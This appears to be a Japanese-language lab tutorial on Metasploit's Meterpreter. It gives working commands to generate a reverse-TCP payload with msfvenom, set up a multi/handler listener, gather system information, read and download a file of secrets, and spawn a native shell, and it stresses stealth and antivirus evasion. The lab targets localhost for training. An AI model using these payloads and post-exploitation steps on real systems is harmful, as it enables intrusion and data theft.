はじめに

Meterpreter 入門の実験へようこそ。

Meterpreter は、Metasploit Framework の一部である、高度で動的に拡張可能なペイロードです。標準入力と出力をシステムシェル(/bin/bash など)に単純に転送する基本的なコマンドシェルとは異なり、Meterpreter はリッチでインタラクティブなコマンド環境を提供します。Meterpreter は完全にメモリ上で動作するため、ターゲットのハードドライブには何も書き込まれません。このため、非常にステルス性が高く、従来のアンチウイルスソフトウェアでは検知が困難です。

Meterpreter が重要である理由は、シェルを単なるテキストコマンドの送信先ではなく、セッションプラットフォームへと変貌させる点にあります。オペレーティングシステムに対してコマンドを送るだけでなく、情報収集、ファイル操作、ルーティング、および侵入後のワークフロー(ポストエクスプロイト)のための組み込み機能を活用できるようになります。

この実験では、Meterpreter ペイロードの生成から、接続を待ち受けるリスナーのセットアップ、そして侵害したシステムとの対話までの一連の流れを学びます。組み込みコマンドを使用してシステム情報を収集し、OS ネイティブのバイナリに頼らずにファイルシステムを操作し、必要に応じてネイティブのシステムシェルへ移行する方法を習得します。

Meterpreter ペイロードの展開

このステップでは、Meterpreter ペイロードを生成し、接続を確立するためのリスナーをセットアップします。Metasploit Framework が提供するスタンドアロンのペイロード生成ツール msfvenom を使用して、Meterpreter ペイロードを含む実行可能ファイルを作成します。

まず、デフォルトの作業ディレクトリにいることを確認してください。ローカルマシンに接続を戻す(「リバースシェル」)ように設定された Linux 用の実行可能ペイロードを生成します。以下のコマンドを実行して、payload.elf という名前のペイロードを作成します。

この生成ステップは、ペイロードのパラメータが実際の動作として確定する段階です。LHOST と LPORT は抽象的な設定ではなく、セッションがどのようにしてあなたのもとへ到達しようとするかを正確に定義するものです。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o payload.elf

現在の実験環境で初めて Metasploit を使用する場合、msfvenom がペイロードを生成する前に初期セットアップのプロンプトが表示されることがあります。新しいデータベースをセットアップするか尋ねられたら yes と答え、セットアップが完了するのを待ってください。その後、msfvenom は処理を継続し、payload.elf を保存します。

ペイロードを生成したら、システムが実行できるように実行権限を付与する必要があります。chmod コマンドを使用して実行権限を追加します。

chmod +x payload.elf

次に、ペイロードが実行された際に接続をキャッチするためのリスナーをセットアップする必要があります。Metasploit コンソール (msfconsole) の設定を自動化するために、リソーススクリプトを作成します。必要な設定を記述した listener.rc というファイルを作成します。

cat << EOF > listener.rc
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j
EOF

それでは、作成したリソーススクリプトを使用して Metasploit コンソールを起動します。-q フラグは静音モード(起動バナーを表示しない)で起動し、-r はスクリプトを実行するように指示します。

msfconsole -q -r listener.rc

リバース TCP ハンドラーが 127.0.0.1:4444 で開始されたことを示す出力が表示されます。

リスナーを稼働させたままペイロードを実行するには、新しいターミナルタブを開く必要があります。LabEx インターフェースで、ターミナルの上部にある + アイコンをクリックして新しいターミナルウィンドウを開きます。この新しいターミナルで、ペイロードを実行します。

./payload.elf

最初のターミナルタブに戻ってください。Meterpreter session 1 opened というメッセージが表示されているはずです。Enter キーを押して msf6 > プロンプトを表示させ、以下のコマンドを入力してセッションと対話します。

sessions -i 1

これで meterpreter > プロンプトが表示され、Meterpreter ペイロードの展開と接続が成功したことが確認できます。

システム情報の取得 (sysinfo)

このステップでは、Meterpreter の組み込みコマンドを使用して、侵害したシステムに関する情報を収集します。Meterpreter はメモリ上で動作し、独自のコマンドセットを持っているため、この情報を取得するためにターゲットシステムのネイティブな Linux コマンド(uname や whoami など)に依存する必要はありません。

この組み込みコマンドセットこそが、Meterpreter セッションが非常に価値ある理由の一つです。多くの一般的なオペレーター作業は、ネイティブシェルに移行することなく実行可能です。

前のステップで表示された meterpreter > プロンプトにいることを確認してください。もしプロンプトが表示されていない場合は、sessions -i 1 を使用してセッションに接続してください。

コンピュータ名、オペレーティングシステム、アーキテクチャ、Meterpreter のバージョンなどの基本的なシステム情報を取得するには、以下のコマンドを入力します。

sysinfo

以下のような出力が表示されます。

Computer     : 172.17.0.2
OS           : Ubuntu 22.04 (Linux 5.15.0-105-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

次に、Meterpreter ペイロードが現在どのユーザーアカウントで実行されているかを確認できます。これは、ターゲットシステム上での権限レベルを把握するために不可欠です。以下のコマンドを実行します。

getuid

出力にはサーバーのユーザー名が表示されます。この環境では labex となるはずです。

Server username: labex

これらのコマンドは、ネイティブコマンドの実行を監視するシステムレベルのログをトリガーすることなく、侵害した環境を迅速に評価する方法を示しています。

ターゲットのファイルシステム操作

このステップでは、Meterpreter の組み込みファイル管理コマンドを使用して、ターゲットのファイルシステムを探索します。これらのコマンドは標準的な Linux コマンドと同様に機能しますが、完全に Meterpreter セッション内で実行されるため、ステルス性が向上します。

ファイルシステムの操作は、多くの目的が最終的にホスト上のアーティファクトの発見、読み取り、または流出に依存しているため、侵入後の活動における中心的な作業です。

meterpreter > プロンプトから、pwd コマンドを使用して現在の作業ディレクトリを確認できます。

pwd

現在のディレクトリとして /home/labex/project が表示されるはずです。このディレクトリの内容を一覧表示するには、ls コマンドを使用します。

ls

target_data という名前のディレクトリがあることに気づくでしょう。cd コマンドを使用してこのディレクトリに移動します。

cd target_data

もし ls で target_data が表示されない場合は、通常のターミナル(Meterpreter セッション内ではない)で手動でフォルダとファイルを作成してから、続けてください。

mkdir -p /home/labex/project/target_data
echo "Confidential Data: Meterpreter is awesome" > /home/labex/project/target_data/secrets.txt

target_data ディレクトリの内容を一覧表示して、ファイルを確認します。

ls

secrets.txt という名前のファイルが表示されるはずです。Meterpreter 内で cat コマンドを使用して、このファイルの内容を直接読み取ることができます。

cat secrets.txt

出力には、ファイルに保存されている機密データが表示されます。評価中、さらなる分析のためにファイルをローカルマシンに流出(ダウンロード)したいことがよくあります。Meterpreter では download コマンドを使用して簡単にこれを行えます。

secrets.txt ファイルをダウンロードし、メインのプロジェクトディレクトリに downloaded_secrets.txt として保存します。

download secrets.txt /home/labex/project/downloaded_secrets.txt

ファイルが正常にダウンロードされたことを示す確認メッセージが表示されます。これは、Meterpreter がターゲットとローカルマシンの間でシームレスにファイルを転送できることを示しています。

システムコマンドの実行 (shell)

このステップでは、Meterpreter セッションからネイティブのシステムシェルへ移行する方法を学びます。Meterpreter は多くの組み込みコマンドを提供していますが、ターゲットのオペレーティングシステムと直接対話したり、特定のスクリプトを実行したり、Meterpreter がネイティブでサポートしていないバイナリを使用したりする必要がある場合があります。

標準のシステムシェルを開くには、meterpreter > プロンプトで以下のコマンドを入力します。

shell

プロンプトが変化または消失し、ターゲットシステムの /bin/sh または /bin/bash シェルと直接対話している状態になります。

ネイティブシェルに入ったので、標準的な Linux コマンドを実行できます。システムレベルの実行能力があることを証明するためにファイルを作成してみましょう。以下のコマンドを実行して、プロジェクトディレクトリに hacked.txt という名前のファイルを作成します。

echo "hacked by meterpreter" > /home/labex/project/hacked.txt

cat コマンドで読み取ることにより、ファイルが作成されたことを確認できます。

cat /home/labex/project/hacked.txt

出力には hacked by meterpreter と表示されます。

ネイティブのシステムコマンドの実行が完了したら、ステルス性の高い Meterpreter セッションに戻ることができます。これを行うには、単に exit と入力して Enter キーを押します。

exit

meterpreter > プロンプトに戻ります。このように、ステルス性の高いメモリ常駐環境とフルシステムシェルの間をシームレスに切り替えられる能力が、Meterpreter を非常に汎用性の高いツールにしています。

まとめ

おめでとうございます!Meterpreter 入門の実験を無事に完了しました。

この実験では、msfvenom を使用して Meterpreter ペイロードを生成し、msfconsole を使用してリスナーをセットアップする方法を学びました。また、Meterpreter の組み込みコマンドである sysinfo および getuid を使用して、重要なシステム情報やユーザー情報を取得する方法も習得しました。さらに、download コマンドを使用してターゲットのファイルシステムをステルスに探索し、データを流出させる練習も行いました。最後に、ネイティブのシステムシェルへ移行して OS レベルのコマンドを実行し、Meterpreter セッションへシームレスに戻る方法を学びました。

これらの基本的なスキルは、侵入後の活動の基礎を形成するものであり、制御を維持し、情報を収集し、侵害したシステムを効果的に操作することを可能にします。